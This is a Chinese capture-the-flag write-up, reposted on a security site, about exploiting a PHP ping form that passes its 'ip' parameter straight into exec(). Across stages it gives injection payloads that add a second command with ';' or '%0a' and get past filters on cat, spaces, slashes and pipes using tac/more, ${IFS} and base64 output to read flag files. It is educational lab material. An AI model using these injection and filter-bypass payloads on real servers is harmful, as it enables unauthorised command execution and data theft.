RCE命令注入-过滤CAT

admin 2021年6月26日08:42:26评论394 views字数 2297阅读7分39秒阅读模式

CTF实验吧环境

RCE命令注入-过滤CAT

RCE命令注入-过滤CAT

1.命令注入

// 关键代码<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,    $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接    exec($cmd, $res);// 执行cmd,把结果输出到res}
if ($res) { print_r($res);// 打印结果}show_source(__FILE__);?>

根据第五行代码,这里直接拼接就行

RCE命令注入-过滤CAT

看到有一个php文件,8061098418328.php,直接用cat,但是没有显示,
右键查看网页源代码得到FLAG
或者考虑到有特殊字符,无法回显,使用base64编码,拿到flag。
这里用到了管道符|,表示把上一条命令的输出作为下一条命令的输入。

RCE命令注入-过滤CAT

base64编码绕过cat过滤



RCE命令注入-过滤CAT

2、过滤CAT

思路:代替cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f


RCE命令注入-过滤CAT

没有回显,查看网页源代码,或者base64输出解码。

RCE命令注入-过滤CAT

RCE命令注入-过滤CAT

RCE命令注入-过滤CAT

RCE命令注入-过滤CAT



RCE命令注入-过滤CAT

3、过滤空格

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/ /", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>

思路:代替空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}${IFS}来代替空格


(127.0.0.1;cat${IFS}flag_64402731720130.php,我用的几个只有${IFS}成功了)

RCE命令注入-过滤CAT



RCE命令注入-过滤CAT

4、过滤目录分隔符

<?php$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("///", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>

直接祭出poc

127.0.0.1;cd flag_is_here;cat flag_5898818519729.php |base64


RCE命令注入-过滤CAT

5、过滤运算符

这个题感觉有个漏洞就是直接查看网页源代码就看到flag了

正常的思路应该是base64输出出来
过滤了管道符|
而file | base64也可以写成base64 file

127.0.0.1base64 flag_297281061019145.php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(||&)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>


RCE命令注入-过滤CAT

6、综合过滤练习

思路:

过滤了|,&,;, ,/,cat,flag,ctfhub空格可以用${IFS}cat可以用moreflag可以用正则f***ctfhub应该用不到查了一下,在linux下,命令分隔符除了;还有%0a有了;就可以不用运算符了然后按着之前的思路去做就可以了
查看目录 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als查看文件内容(谷歌浏览器右键查看网页源代码得到flag)127.0.0.1%0acd${IFS}f***_is_here${IFS}%0amore${IFS}f***_313271338621245.phpbase64输出flag 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_313271338621245.php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(||&|;| |/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>

过程中遇到的问题
因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码

RCE命令注入-过滤CAT




文章转载自 CSDN 作者:那酒不要留连接:https://blog.csdn.net/szgyunyun/article/details/104970118?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-8.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-8.nonecase


如果觉得文章对你有帮助,请点击右下角“在看”

RCE命令注入-过滤CAT

本文始发于微信公众号(LemonSec):RCE命令注入-过滤CAT

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月26日08:42:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RCE命令注入-过滤CAThttp://cn-sec.com/archives/304692.html

发表评论

匿名网友 填写信息